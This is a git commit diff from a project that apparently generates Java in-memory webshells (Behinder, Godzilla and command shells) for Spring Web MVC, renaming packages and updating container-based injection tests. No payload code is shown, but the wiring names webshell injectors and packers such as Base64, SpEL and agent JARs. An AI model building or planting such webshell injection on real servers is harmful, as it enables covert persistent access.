mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
refactor: rename springwebmvc
This commit is contained in:
+27
-27
@@ -1,17 +1,17 @@
|
|||||||
package com.reajason.javaweb.memshell;
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderServletAdvisor;
|
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
|
||||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaServletAdvisor;
|
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
|
||||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcControllerHandlerInjector;
|
||||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringFrameworkServletAgentInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcFrameworkServletAgentInjector;
|
||||||
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
|
import com.reajason.javaweb.memshell.springwebmvc.injector.SpringWebMvcInterceptorInjector;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -20,7 +20,7 @@ import java.util.Map;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/22
|
* @since 2024/12/22
|
||||||
*/
|
*/
|
||||||
public class SpringMVCShell extends AbstractShell {
|
public class SpringWebMvcShell extends AbstractShell {
|
||||||
public static final String INTERCEPTOR = "Interceptor";
|
public static final String INTERCEPTOR = "Interceptor";
|
||||||
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
@@ -30,33 +30,33 @@ public class SpringMVCShell extends AbstractShell {
|
|||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||||
return Map.of(
|
return Map.of(
|
||||||
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class),
|
||||||
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringWebMvcInterceptorInjector.class),
|
||||||
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
|
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class),
|
||||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInjector.class),
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringWebMvcControllerHandlerInjector.class),
|
||||||
AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
|
AGENT_FRAMEWORK_SERVLET, Pair.of(BehinderServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
return Map.of(
|
return Map.of(
|
||||||
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class),
|
||||||
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringWebMvcInterceptorInjector.class),
|
||||||
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
|
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class),
|
||||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInjector.class),
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringWebMvcControllerHandlerInjector.class),
|
||||||
AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringFrameworkServletAgentInjector.class)
|
AGENT_FRAMEWORK_SERVLET, Pair.of(CommandFilterChainAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||||
return Map.of(
|
return Map.of(
|
||||||
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class),
|
||||||
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringWebMvcInterceptorInjector.class),
|
||||||
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
|
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class),
|
||||||
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInjector.class),
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringWebMvcControllerHandlerInjector.class),
|
||||||
AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringFrameworkServletAgentInjector.class)
|
AGENT_FRAMEWORK_SERVLET, Pair.of(GodzillaServletAdvisor.class, SpringWebMvcFrameworkServletAgentInjector.class)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -33,7 +33,7 @@ public enum Server {
|
|||||||
/**
|
/**
|
||||||
* SpringMVC 框架
|
* SpringMVC 框架
|
||||||
*/
|
*/
|
||||||
SpringMVC(new SpringMVCShell()),
|
SpringWebMvc(new SpringWebMvcShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Spring Webflux 框架
|
* Spring Webflux 框架
|
||||||
|
|||||||
@@ -70,7 +70,7 @@ public class CommonUtil {
|
|||||||
String packageName = switch (server) {
|
String packageName = switch (server) {
|
||||||
case Jetty -> "org.eclipse.jetty.servlet.handlers";
|
case Jetty -> "org.eclipse.jetty.servlet.handlers";
|
||||||
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
|
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
|
||||||
case SpringMVC -> "org.springframework.boot.mvc.handlers";
|
case SpringWebMvc -> "org.springframework.boot.mvc.handlers";
|
||||||
case SpringWebflux -> "org.springframework.boot.webflux.handlers";
|
case SpringWebflux -> "org.springframework.boot.webflux.handlers";
|
||||||
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
|
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
|
||||||
case WebLogic -> "weblogic.servlet.internal.handlers";
|
case WebLogic -> "weblogic.servlet.internal.handlers";
|
||||||
|
|||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
package com.reajason.javaweb.integration;
|
package com.reajason.javaweb.integration;
|
||||||
|
|
||||||
import com.reajason.javaweb.GeneratorMain;
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
import com.reajason.javaweb.memshell.SpringWebMvcShell;
|
||||||
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
import com.reajason.javaweb.memshell.SpringWebFluxShell;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.packer.JarPacker;
|
import com.reajason.javaweb.memshell.packer.JarPacker;
|
||||||
@@ -38,7 +38,7 @@ public class ShellAssertionTool {
|
|||||||
|
|
||||||
String urlPattern = null;
|
String urlPattern = null;
|
||||||
if (shellType.endsWith(Constants.SERVLET)
|
if (shellType.endsWith(Constants.SERVLET)
|
||||||
|| shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)
|
|| shellType.endsWith(SpringWebMvcShell.CONTROLLER_HANDLER)
|
||||||
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|
|| shellType.equals(SpringWebFluxShell.HANDLER_METHOD)
|
||||||
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
|
|| shellType.equals(SpringWebFluxShell.HANDLER_FUNCTION)
|
||||||
) {
|
) {
|
||||||
|
|||||||
+23
-24
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
import com.reajason.javaweb.memshell.SpringWebMvcShell;
|
||||||
import com.reajason.javaweb.memshell.config.Constants;
|
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -44,27 +43,27 @@ public class SpringBoot2ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -77,7 +76,7 @@ public class SpringBoot2ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer, container);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+20
-20
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
import com.reajason.javaweb.memshell.SpringWebMvcShell;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -41,24 +41,24 @@ public class SpringBoot2WarContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||||
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
arguments(imageName, SpringWebMvcShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,6 +71,6 @@ public class SpringBoot2WarContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-11
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.integration.springmvc;
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.SpringMVCShell;
|
import com.reajason.javaweb.memshell.SpringWebMvcShell;
|
||||||
import com.reajason.javaweb.memshell.config.Server;
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
import com.reajason.javaweb.memshell.config.ShellTool;
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
@@ -43,15 +43,15 @@ public class SpringBoot3ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
|
arguments(imageName, SpringWebMvcShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Command, Packer.INSTANCE.AgentJar),
|
||||||
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
|
||||||
arguments(imageName, SpringMVCShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
arguments(imageName, SpringWebMvcShell.AGENT_FRAMEWORK_SERVLET, ShellTool.Behinder, Packer.INSTANCE.AgentJar)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -64,7 +64,7 @@ public class SpringBoot3ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebMvc, shellType, shellTool, Opcodes.V17, packer, container);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.behinder;
|
package com.reajason.javaweb.memshell.springwebmvc.behinder;
|
||||||
|
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.mvc.Controller;
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.behinder;
|
package com.reajason.javaweb.memshell.springwebmvc.behinder;
|
||||||
|
|
||||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.behinder;
|
package com.reajason.javaweb.memshell.springwebmvc.behinder;
|
||||||
|
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.command;
|
package com.reajason.javaweb.memshell.springwebmvc.command;
|
||||||
|
|
||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.mvc.Controller;
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
+1
-1
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.springmvc.command;
|
package com.reajason.javaweb.memshell.springwebmvc.command;
|
||||||
|
|
||||||
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
